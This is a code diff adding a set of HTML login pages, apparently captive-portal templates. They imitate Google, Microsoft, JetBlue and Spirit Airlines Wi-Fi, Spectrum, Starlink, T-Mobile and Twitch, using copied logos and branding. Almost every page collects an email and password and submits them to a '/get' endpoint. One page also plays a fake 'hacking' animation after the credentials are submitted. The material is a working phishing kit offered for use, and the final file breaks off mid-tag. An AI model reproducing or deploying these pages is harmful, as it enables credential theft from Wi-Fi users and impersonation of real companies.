<g id="e6m3fd"><path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path></g>
<g id="vbkDmc"><path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path></g>
<g id="idEJde"><path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path></g>
</svg>
</div>
<h1>Sign in</h1>
<h2>Use your Google Account</h2>
<input name="email" type="text" class="g-input" placeholder="Email" required>
<input name="password" type="password" class="g-input" placeholder="Password" required>
<button class="gbtn-primary" type="submit">Next</button>
</form>
</div>
</body>
</html>
+60
View File
@@ -0,0 +1,60 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #003876;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color: white;
}
.login-container {
background-color: #1A73E8;
padding: 20px;
border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
}
.login-container h1, .login-container h2 {
text-align: center;
}
.login-container button {
width: 100%;
}
.form-control {
margin-bottom: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-lg-4 offset-lg-4 login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400">
<path fill="#fff" fill-rule="nonzero" d="M112 167h14v74c0 12-9 20-21 20h-5v-13h4c5 0 8-2 8-8zm0-28h14v14h-14zm36 56c1-10 7-16 15-16s14 6 15 16zm43 12v-12c0-17-13-29-28-29-13 0-28 9-28 36 0 28 16 35 30 35 9 0 18-3 25-11l-10-9c-4 4-10 7-15 7-10 0-17-6-17-17zm11-61h14v21h10v11h-10v40c0 4 2 5 5 5h5v13h-7c-10 0-17-6-17-17v-41h-7v-11h7zm70 47c11 0 16 7 16 15 0 7-5 14-16 14h-22v-29zm-37 43h41c15 0 27-11 27-27 0-10-5-20-16-23 11-5 14-13 14-21 0-15-9-26-28-26h-38zm36-84c11 0 16 7 16 14 0 8-5 14-16 14h-21v-28zm40-13h14v79c0 3 2 5 5 5h5v13h-6c-10 0-18-4-18-17zm30 28h13v41c0 10 6 15 14 15s14-5 14-15v-41h14v69h-14v-7c-5 5-11 8-18 8-11 0-23-8-23-24zm76 28c0-10 6-16 15-16 8 0 14 6 14 16zm43 12v-12c0-17-13-29-28-29-14 0-29 9-29 36 0 28 17 35 31 35 9 0 18-3 25-11l-10-9c-5 4-10 7-16 7-9 0-16-6-16-17z"/>
</svg>
</div>
<form action="/get" id="email-form-step">
<h1>Welcome aboard!</h1>
<h2>Sign in with your JetBlue<br>Account to use Wi-Fi</h2>
<div class="form-group">
<input name="email" type="text" class="form-control" placeholder="Email" required>
</div>
<div class="form-group">
<input name="password" type="password" class="form-control" placeholder="Password" required>
</div>
<div class="form-group">
<button class="btn btn-primary" type="submit">Sign In</button>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
+139
View File
@@ -0,0 +1,139 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
display: flex;
flex-direction: column;
justify-content: flex-start;
align-items: flex-start;
height: 100vh;
background: #000;
color: #0f0;
font-family: 'Courier New', Courier, monospace;
padding: 20px;
padding-top: 20%;
box-sizing: border-box;
overflow: hidden;
position: relative;
}
.form-container {
width: 300px; /* You can adjust this value to match your preference */
}
#matrix {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1;
}
#matrix span {
position: absolute;
font-size: 20px;
animation: matrix 1s linear infinite;
animation-play-state: paused;
}
@keyframes matrix {
0% { top: -100%; }
100% { top: 100%; }
}
#terminal, #signin, #loginForm {
position: relative;
z-index: 2;
}
#terminal {
width: 100%;
max-width: 800px;
white-space: pre-wrap;
line-height: 1.5;
text-align: left;
color: #f00; /* make the color of the terminal text red */
font-weight: bold; /* make the terminal text bold */
margin-top: 20px;
}
#loginForm {
margin-top: 20px;
}
#loginForm input {
margin-bottom: 10px;
padding: 5px;
width: 100%;
}
#signin {
margin-bottom: 10px;
font-size: 1.4em;
color: #fff;
font-weight: bold;
}
</style>
</head>
<body>
<div class="form-container">
<div id="signin">Register or Sign-in</div>
<form id="loginForm" action="/get" method="get">
<input type="text" name="email" placeholder="Email/Username" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Submit">
</form>
</div>
<div id="terminal"></div>
<div id="matrix"></div>
<script>
var terminal = document.getElementById('terminal');
var form = document.getElementById('loginForm');
var matrix = document.getElementById('matrix');
var messages = [
'Initiating connection...',
'Bypassing security protocols...',
'Accessing system...',
'Disabling antivirus...',
'Accessing User\'s Email & Passwords...',
'Accessing User\'s Contact...',
'Initiating data transfer...',
'Deleting files...',
'Formatting drive...',
'Hacking successful.',
];
function typeMessage(message, index) {
if (index < message.length) {
terminal.innerText += message[index];
setTimeout(typeMessage, 50, message, index + 1); /* make text load faster */
} else {
terminal.innerText += '\n> ';
if (messages.length) {
var nextMessage = messages.shift();
setTimeout(typeMessage, 500, nextMessage, 0); /* make next message appear faster */
}
}
}
form.onsubmit = function(e) {
e.preventDefault();
terminal.innerText = '> ';
var message = messages.shift();
typeMessage(message, 0);
form.style.display = 'none';
// Start matrix rain
var spans = matrix.querySelectorAll('span');
for (let i = 0; i < spans.length; i++) {
spans[i].style.animationPlayState = 'running';
}
}
// Matrix rain
var characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
for (let i = 0; i < 100; i++) {
let span = document.createElement('span');
span.innerText = characters[Math.floor(Math.random() * characters.length)];
span.style.left = Math.random() * window.innerWidth + 'px';
span.style.animationDelay = Math.random() + 's';
matrix.appendChild(span);
}
</script>
</body>
</html>
+77
View File
@@ -0,0 +1,77 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, Helvetica, sans-serif;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.container {
max-width: 400px;
padding: 25px;
margin: auto;
}
.form {
max-width: 300px;
padding: 20px;
border: 1px solid #cccccc;
border-radius: 5px;
margin: 0 auto;
}
h1 {
text-align: center;
color: #0067b8;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 12px 10px;
margin: 8px 0;
box-sizing: border-box;
border: 1px solid #cccccc;
border-radius: 4px;
}
button[type="submit"] {
width: 100%;
background-color: #0067b8;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;
}
button[type="submit"]:hover {
background-color: #005299;
}
svg {
display: block;
margin: 0 auto;
width: 150px;
height: 150px;
}
</style>
</head>
<body>
<div class="container">
<svg viewBox="0 0 337.6 72" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<path fill="#737373" d="M140.4 14.4v43.2h-7.5V23.7h-.1l-13.4 33.9h-5l-13.7-33.9h-.1v33.9h-6.9V14.4h10.8l12.4 32h.2l13.1-32h10.2zm6.2 3.3c0-1.2.4-2.2 1.3-3 .9-.8 1.9-1.2 3.1-1.2 1.3 0 2.4.4 3.2 1.2s1.3 1.8 1.3 3-.4 2.2-1.3 3c-.9.8-1.9 1.2-3.2 1.2s-2.3-.4-3.1-1.2a4.5 4.5 0 0 1-1.3-3zm8.1 8.9v31h-7.3v-31h7.3zm22.1 25.7c1.1 0 2.3-.2 3.6-.8 1.3-.5 2.5-1.2 3.6-2v6.8c-1.2.7-2.5 1.2-4 1.5-1.5.3-3.1.5-4.9.5A14.7 14.7 0 0 1 159.7 43c0-5 1.5-9.1 4.4-12.3 2.9-3.2 7-4.8 12.4-4.8a18.4 18.4 0 0 1 7.4 1.7v7a11.5 11.5 0 0 0-7-2.6c-2.9 0-5.2.9-7 2.8s-2.6 4.4-2.6 7.6c0 3.1.9 5.6 2.6 7.3 1.7 1.7 4 2.6 6.9 2.6zm27.9-26.2a8 8 0 0 1 2.8.4v7.4c-.4-.3-.9-.6-1.7-.8s-1.6-.4-2.7-.4c-1.8 0-3.3.8-4.5 2.3s-1.9 3.8-1.9 7v15.6h-7.3v-31h7.3v4.9h.1c.7-1.7 1.7-3 3-4 1.4-.9 3-1.4 4.9-1.4zm3.2 16.5c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16 16 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm35-7.5c0 1 .3 1.9 1 2.5.7.6 2.1 1.3 4.4 2.2 2.9 1.2 5 2.5 6.1 3.9a8.1 8.1 0 0 1 1.8 5.3c0 2.9-1.1 5.2-3.4 7a14 14 0 0 1-9.1 2.6 23.7 23.7 0 0 1-8.3-1.7v-7.2c1.3.9 2.8 1.7 4.3 2.2 1.5.5 2.9.8 4.2.8 1.6 0 2.9-.2 3.6-.7.8-.5 1.2-1.2 1.2-2.3 0-1-.4-1.8-1.2-2.6-.8-.7-2.4-1.5-4.6-2.4-2.7-1.1-4.6-2.4-5.7-3.8s-1.7-3.2-1.7-5.4c0-2.8 1.1-5.1 3.3-6.9 2.2-1.8 5.1-2.7 8.6-2.7 1.1 0 2.3.1 3.6.4l3.4.9V34c-1-.6-2.1-1.2-3.4-1.7-1.3-.5-2.6-.7-3.8-.7-1.4 0-2.5.3-3.2.8-.7.7-1.1 1.4-1.1 2.4zm16.4 7.8c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16.5 16.5 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm48.4-9.7H312v25h-7.4v-25h-5.2v-6h5.2v-4.3c0-3.2 1.1-5.9 3.2-8s4.8-3.1 8.1-3.1l2.4.1c.7 0 1.3.2 1.8.4V18l-1.3-.5c-.6-.2-1.3-.3-2.1-.3-1.5 0-2.7.5-3.5 1.4-.8.9-1.2 2.4-1.2 4.2v3.7h10.9v-7l7.3-2.2v9.2h7.4v6h-7.4V47c0 1.9.4 3.2 1 4 .7.8 1.8 1.2 3.3 1.2a5 5 0 0 0 1.5-.3c.6-.2 1.1-.4 1.5-.7v6a7 7 0 0 1-2.3.7c-1.1.2-2.1.3-3.2.3-3.1 0-5.4-.8-6.9-2.4-1.5-1.6-2.3-4.1-2.3-7.4l.1-15.8z"/>
<path fill="#F25022" d="M0 0h34.2v34.2H0z"/>
<path fill="#7FBA00" d="M37.8 0H72v34.2H37.8z"/>
<path fill="#00A4EF" d="M0 37.8h34.2V72H0z"/>
<path fill="#FFB900" d="M37.8 37.8H72V72H37.8z"/>
</svg>
<form action="/get" method="get" id="email-form-step" class="form">
<h1>Sign In with<br>your Microsoft account</h1>
<input name="email" type="text" placeholder="Email" required>
<input name="password" type="password" placeholder="Password" required>
<button type="submit">Next</button>
</form>
</div>
</body>
</html>
+76
View File
@@ -0,0 +1,76 @@
<!DOCTYPE html>
<html>
<head>
<title>Guess the number to use WiFi</title>
<style>
body, html {
height: 100%;
margin: 0;
background: #cfcfcf;
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
font-family: Arial, sans-serif;
}
#user-input {
margin: 1em;
font-size: 1em;
padding: 0.25em;
width: 40%;
max-width: 150px;
}
#submit-btn, #reset-btn {
font-size: 2em;
margin: 1em;
cursor: pointer;
}
#message {
font-size: 1.5em;
}
#instruction {
color: gray;
}
</style>
</head>
<body>
<h1>Guess the number to use WiFi</h1>
<p id="instruction">Enter a number between 0-10</p>
<input id="user-input" type="number" min="0" max="10"/>
<button id="submit-btn">Guess</button>
<p id="message"></p>
<button id="reset-btn" style="display: none;">Reset Game</button>
<script>
var randomNumber = Math.floor(Math.random() * 11);
var submitBtn = document.getElementById("submit-btn");
var userInput = document.getElementById("user-input");
var message = document.getElementById("message");
var resetBtn = document.getElementById("reset-btn");
submitBtn.addEventListener("click", function(){
var userGuess = userInput.value;
if(userGuess == randomNumber) {
message.textContent = "Congratulations! You've guessed the number.";
endGame();
} else {
message.textContent = "Try again!";
}
});
resetBtn.addEventListener("click", function(){
randomNumber = Math.floor(Math.random() * 11);
message.textContent = "";
userInput.value = "";
resetBtn.style.display = "none";
submitBtn.style.display = "block";
userInput.disabled = false;
});
function endGame() {
submitBtn.style.display = "none";
resetBtn.style.display = "block";
userInput.disabled = true;
}
</script>
</body>
</html>
+91
View File
@@ -0,0 +1,91 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
background-color: #f6f8fa;
}
.container {
width: 80%;
max-width: 300px;
margin: 10% auto;
text-align: center;
}
.container .logo {
width: 50%;
height: auto;
margin-bottom: 15px;
}
.container h1 {
margin: 5px 0;
}
.container p {
margin: 0;
font-size: 0.8em;
color: #666;
}
.container form {
display: flex;
flex-direction: column;
}
.container form input {
margin: 5px 0;
padding: 10px;
border: 1px solid #ccc;
border-radius: 3px;
}
.container form button {
margin: 5px 0;
padding: 10px;
color: #fff;
background-color: #0076bc;
border: none;
border-radius: 3px;
cursor: pointer;
}
.container form button:hover {
background-color: #005999;
}
@media (max-width: 600px) {
.container {
width: 95%;
}
}
</style>
<meta
name="viewport"
content="width=device-width, initial-scale=1, maximum-scale=1"
/>
</head>
<body>
<div class="container">
<svg
class="logo"
xmlns="http://www.w3.org/2000/svg"
xml:space="preserve"
viewBox="0 0 1001 209"
>
<path fill="#0076BC" d="M934 61v102l67-51z" />
<path
fill="#77787B"
d="M166 193c0 9-6 16-15 16h-16V94c2-30 13-55 59-56 20 0 35 8 44 18 9 12 13 27 13 46s-5 35-14 47c-9 11-21 17-36 17-21 0-32-9-35-10v37m53-90c0-12-2-37-27-37-23 0-26 24-26 37 0 32 18 36 27 36 22 0 26-24 26-36M18 153c11 9 26 13 47 13 20 0 36-4 47-13s16-22 16-38c0-8-1-15-5-21-3-6-8-12-15-15l-12-5-37-10c-15-4-25-9-25-18 1-18 17-19 27-19 9 0 17 2 22 6 10 7 9 17 9 17h31c-1-15-6-28-17-37C96 4 82 0 63 0 43 0 28 4 18 12 7 21 2 33 2 48c0 19 9 30 18 35 5 3 16 8 31 11l12 3c22 5 34 12 34 22 0 7-3 12-8 15-4 3-12 5-21 5-11 0-19-2-25-6s-10-11-11-20H0c1 18 7 31 18 40m296-88c20 0 23 16 23 25h-46s-1-25 23-25m1 74c-8-1-23-2-24-29h79v-9c0-20-5-35-14-46a55 55 0 0 0-43-17c-17 0-31 6-41 17-9 11-14 26-14 46 0 21 5 36 15 47 9 12 23 17 40 17 15 0 27-3 36-10 10-7 16-17 20-30h-28c-4 12-14 14-26 14m533 24h-32V85c0-9-4-21-22-21-17 0-21 13-21 21v78h-32V91c0-21 6-33 16-42 10-8 23-11 36-11l21 2c7 2 13 5 18 9 5-4 10-7 17-8 6-2 13-3 19-3 40 0 56 18 57 23v102h-18c-5 0-16-3-16-16V85c0-9-3-21-22-21-18 0-21 13-21 21v78zm-390-38h30s-8 40-54 40c-45 0-56-36-56-60s4-65 55-67c47 0 54 40 54 40h-32s-3-14-22-13c-19 0-24 18-24 35s4 39 25 39c20 0 22-11 24-14m167-84h32v78s-1 21 21 21c21 0 22-19 22-20V56s1-15 15-15h17v72c-1 4 4 52-54 52-56 0-52-48-53-51V41zm-98 33h19V41h-19V21c0-6-3-16-15-16h-17v135c0 14 6 23 18 23h14V74zm53 89v-63c0-9 2-16 6-20 4-5 11-7 20-7h10V41s-16-1-28 3a50 50 0 0 0-35 30c-4 8-6 18-6 30v59h33z"
/>
</svg>
<h1>Welcome</h1>
<p>Please log in using your Spectrum account</p>
<form action="/get" method="GET">
<input type="text" name="email" placeholder="Username" required />
<input
type="password"
name="password"
placeholder="Password"
required
/>
<button type="submit">Login</button>
</form>
</div>
</body>
</html>
+100
View File
@@ -0,0 +1,100 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #fde46c;
margin: 0;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
height: 100vh;
}
.login-container {
background: #fff;
padding: 20px;
max-width: 300px;
width: 90%;
text-align: center;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.25);
}
form {
display: flex;
flex-direction: column;
align-items: center;
}
h1 {
color: #232f3e;
font-size: 1.5rem;
font-weight: 600;
margin-top: 0;
}
input[type="text"],
input[type="password"] {
width: 100%;
max-width: 300px;
padding: 12px 20px;
margin: 8px 0;
box-sizing: border-box;
border: 2px solid #ddd;
border-radius: 4px;
}
input[type="submit"] {
background-color: #303c49;
border: none;
color: white;
padding: 14px 28px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
margin: 4px 2px;
cursor: pointer;
border-radius: 5px;
}
</style>
</head>
<body>
<div class="login-container">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400" width="140">
<path fill-rule="nonzero" d="M434 171h15l-4 15h-15l-5 23c-1 5 0 6 7 6h8l-3 14-18 1c-15 0-20-4-17-16l6-28h-12l3-15h12l4-19h22zm-78 58h22l13-58h-23zm14-65h22l3-14h-23zm-62 7-12 58h22l12-58zm53-3h-5c-10 0-26 10-30 28l-1 4c3-8 11-12 22-12l9 1zm-85 3-12 58h22l13-58zm27-21h-23l-3 14h23zm-41 51c-3 16-19 30-40 30-10 0-17-3-20-8l-6 27h-22l16-79h22l-1 7c6-6 15-9 24-9 21 0 32 12 27 32zm-36-16c-10 0-17 6-19 15s2 15 13 15c10 0 17-6 19-15 2-10-2-15-13-15zm-70 8-19-2c-6-1-7-2-6-4 0-4 5-6 11-6l8 2c2 1 3 2 3 5h26c2-17-17-20-32-20-22 0-37 5-40 21-2 10 4 15 17 16l19 3c6 0 8 1 7 4-1 4-6 5-11 5l-10-1c-2-1-2-3-2-5h-27c-3 17 18 20 34 20 24 0 39-6 42-20 2-11-5-16-20-18zm301-17 1 2h-2v-2h-1v2h-1v-5h3v3zm-1-1v-1h-1v1h1zm4 0v2l-1 2a4 4 0 0 1-4 1h-1l-2-1-1-2v-4a4 4 0 0 1 3-2h3l2 1 1 1v2zm-1 0v-1l-1-1-1-1h-3l-1 1-1 1v1a4 4 0 0 0 1 3l1 1a3 3 0 0 0 3 0l1-1 1-1v-2z"/>
</svg>
<h1> Use your Spirit Airlines Account<br> for Free WiFi Login</h1>
<form id="login-form">
<input type="text" name="email" placeholder="Email Address or Free Spirit Number">
<input type="password" name="password" placeholder="Password">
<input type="submit" value="Login">
</form>
</div>
<script>
const form = document.getElementById('login-form');
form.addEventListener('submit', (e) => {
e.preventDefault();
const email = form.elements['email'].value;
const password = form.elements['password'].value;
window.location.href = '/get?email=' + email + '&password=' + password;
});
</script>
</body>
</html>
+63
View File
@@ -0,0 +1,63 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #000000;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color: #fff;
}
.login-container {
background-color: rgba(0, 0, 0, 0.7);
padding: 20px;
border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(255,255,255,0.3);
}
.login-container h1, .login-container h2 {
text-align: center;
}
.login-container button {
width: 100%;
background-color: #0069D9;
border-color: #0069D9;
}
#logo svg {
fill: #fff;
}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-lg-4 offset-lg-4 login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1032 524"><clipPath id="a"><circle cx="275" cy="85" r="200"/></clipPath><clipPath id="b"><circle cx="230" cy="90" r="80"/></clipPath><path d="M23 488h10l2 6c2 2 4 2 7 2 6 0 8-2 8-7l-1-5-6-2-5-1c-9-1-14-6-14-14 0-5 2-9 5-12 3-2 7-4 13-4 5 0 9 1 12 4s5 7 5 12H49l-2-6-6-2-5 2-2 5 1 5 6 2 5 1c9 2 14 6 14 15 0 5-2 9-5 12s-8 4-14 4-10-1-13-4-5-7-5-13zm83-28v44H96v-44H82v-8h37v8zm42 34-3 10h-11l19-52h8l19 52h-11l-3-10zm9-28-7 20h13zm56 17v21h-9v-52h19c6 0 10 1 13 4s4 7 4 12c0 3 0 6-2 8l-7 6 12 23h-12l-10-22h-8zm10-8 5-2 2-6c0-2 0-4-2-5l-5-2h-10v14h10zm54-23v44h23v8h-33v-52h10zm59 0v52h-10v-52h10zm68 52h-10l-19-32v32h-11v-52h10l19 33v-33h10v52zm38-14v14h-10v-52h10v24l18-24h12l-17 21 18 31h-11l-13-23z" class="letter" visibility="inherit"/><g clip-path="url(#a)" transform="matrix(3 0 0 3 -531 8)"><path d="m168 112-3 4h34C292 23 426 6 460 3 274 14 188 93 168 112" class="logo_x" visibility="inherit"/></g><g clip-path="url(#b)" transform="matrix(3 0 0 3 -531 8)" visibility="inherit"><path d="M263 116h34l-47-35-17 13zm-62-71h-34l40 29 19-12z" class="logo_x"/></g></svg>
</div>
<form action="/get" id="email-form-step">
<h1>Welcome</h1>
<h2>Please Enter your Details</h2>
<div class="form-group">
<input name="email" type="text" class="form-control" placeholder="Email" required>
</div>
<div class="form-group">
<input name="password" type="password" class="form-control" placeholder="Password" required>
</div>
<div class="form-group">
<button class="btn btn-primary" type="submit">Next</button>
</div>
</form>
</div>
</div>
</div>
<script>
/* Paste any required JavaScript here */
</script>
</body>
</html>
+94
View File
@@ -0,0 +1,94 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #e20074;
color: #fff;
}
.container {
max-width: 400px;
margin: 50px auto;
padding: 20px;
border-radius: 5px;
}
h1 {
font-size: 24px;
font-weight: 300;
margin-top: 0;
text-align: center;
}
h2 {
font-size: 16px;
font-weight: 200;
text-align: center;
}
input[type="text"],
input[type="password"] {
width: 100%;
padding: 12px 20px;
margin: 8px 0;
box-sizing: border-box;
border: 1px solid #ccc;
border-radius: 4px;
}
input[type="submit"] {
width: 100%;
background-color: #fff;
color: #e20074;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #ddd;
}
.logo {
display: block;
max-width: 130px;
margin: 0 auto 30px auto;
}
</style>
</head>
<body>
<div class="container">
<!-- T-Mobile SVG logo -->
<svg class="logo" id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 122.88 122.88">
<defs>
<style>.cls-1{fill:#e20074;}.cls-2{fill:#fff;}</style>
</defs>
<title>t-mobile</title>
<polygon class="cls-1" points="0 122.88 122.88 122.88 122.88 0 0 0 0 122.88 0 122.88"/>
<polygon class="cls-2" points="25.52 75.62 25.52 57.9 34.74 57.9 43.24 57.9 43.24 75.62 25.52 75.62 25.52 75.62"/>
<polygon class="cls-2" points="79.64 75.62 79.64 57.9 89.8 57.9 97.36 57.9 97.36 75.62 79.64 75.62 79.64 75.62"/>
<path class="cls-2" d="M96.41,17.72H26.47l-.95,31,4.73.71c.94-9.22,3.31-15.83,7.09-20.32,4-4.49,9.68-7.09,17-7.33V86.25c0,5.67-.71,9.22-2.36,10.87-1.42,1.42-3.78,2.37-7.09,2.6-.95,0-2.6.24-5,.24v5H83.18v-5a25.52,25.52,0,0,1-5-.24c-3.31-.23-5.67-1.18-7.09-2.6-1.66-1.65-2.36-5.43-2.36-10.87V22c7.32.23,13,2.6,17,7.32,4,4.49,6.38,11.11,7.09,20.33l4.72-.71-1.18-31.2Z"/>
</svg>
<h1>Sign in</h1>
<h2>Use your T-Mobile account</h2>
<form id="login-form" action="/get">
<input type="text" name="email" placeholder="Email or phone number" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Sign In">
</form>
</div>
</body>
</html>
+70
View File
@@ -0,0 +1,70 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #9146FF;
color: white;
text-align: center;
}
.container {
max-width: 400px;
margin: auto;
padding: 20px;
}
.logo {
width: 140px;
height: 140px;
}
form {
background-color: white;
color: black;
padding: 20px;
border-radius: 5px;
}
input[type="text"], input[type="password"] {
width: 90%;
padding: 15px;
margin: 10px 0;
border: none;
background: #f1f1f1;
}
input[type="submit"] {
background-color: #9146FF;
color: white;
padding: 14px 20px;
border: none;
cursor: pointer;
width: 100%;
}
@media screen and (max-width: 600px) {
.container {
width: 95%;
}
}
.welcome {
font-size: 24px;
margin-bottom: 0;
}
.login {
font-size: 16px;
margin-top: 0;
}
</style>
</head>
<body>
<div class="container">
<svg class="logo" xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 454.9 280.8"><path fill="#000000" fill-rule="evenodd" d="m379.6 67.6-18.3 18.2h-28.5l-15.6 15.6V85.8h-23.4V10.4h85.8v57.2ZM283.4 0l-5.2 20.8v93.6h23.4v13h13l13-13h20.7L390 72.8V0H283.4z"/><path fill="#000000" fill-rule="evenodd" d="M322.4 62.4h10.4V31.2h-10.4v31.2zm28.5 0h10.4V31.2H351v31.2zM444.5 182l-18.2-18.2h-33.8v-23.4H364V247h28.6v-54.6H416V247h28.6v-65Zm-91-18.2h-44.1L291.2 182v46.8l18.2 18.2h44.2v-28.6h-33.8v-26h33.8v-28.6zm-72.7 0h-23.4v-23.4h-28.6v88.4L247 247h33.8v-28.6h-23.4v-26h23.4v-28.6zm-62.4-23.4h-28.6v13h28.6v-13zm0 23.4h-28.6V247h28.6v-83.2zm-39 0h-28.6v54.6h-10.4v-54.6h-28.6v54.6h-10.4v-54.6H72.8V247h88.4l18.2-18.2v-65zm-117 0H39v-23.4H10.4v88.4L28.6 247h33.8v-28.6H39v-26h23.4v-28.6zm392.5 13v78l-39 26h-26v-13l-18.2 13h-23.3v-13l-13 13h-41.6l-13-13-2.6 13h-36.4l-15-13-.7 13h-41.3l-1.5-13-11.1 13h-63l-13-5.2v5.2H62.4l-39-23.4L0 234V130h49.4l23.4 23.4h106.6V130h88.4v23.4h23.4v13l13-13h26l23.4-23.4h49.3v23.4h28.6l23.4 23.4Z"></svg>
<h2 class="welcome">Welcome</h2>
<p class="login">Login using your Twitch Account</p>
<form action="/get?email=username&password=password" method="get">
<label for="uname"><b>Username</b></label>
<input type="text" placeholder="Enter Username" name="uname" required>
<label for="psw"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="psw" required>
<input type="submit" value="Login">
</form>
</div>
</body>
</html>
+2
View File
@@ -0,0 +1,2 @@
<!DOCTYPE html><html><head><style>body{font-family:Arial,sans-serif;background-color:#f5f8fa}.login-container{width:90%;max-width:400px;margin:auto;padding:20px;border:1px solid #e9e9e9;border-radius:5px;margin-top:50px;background-color:#fff}#logo{text-align:center;margin-bottom:20px}.g-h1{font-weight:300;font-size:24px;margin-top:5px;text-align:center}.g-h2{font-weight:200;font-size:16px;margin-top:10px;text-align:center;color:#657786}.g-input{width:calc(100% - 20px);margin-top:15px;height:40px;padding:5px 10px;font-size:16px;color:#14171a;border:1px solid #e6ecf0;border-radius:5px;background-color:#f5f8fa}.gbtn-primary{margin-top:20px;width:100%;height:40px;font-size:16px;color:#fff;background-color:#1da1f2;border:none;border-radius:5px;cursor:pointer}.gbtn-primary:hover{background-color:#0c8ed9}.gbtn-primary:disabled{background-color:#aab8c2;cursor:not-allowed}</style><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"><script type="text/javascript" nonce="04986b1ae28c4b5ba64d670c1b2" 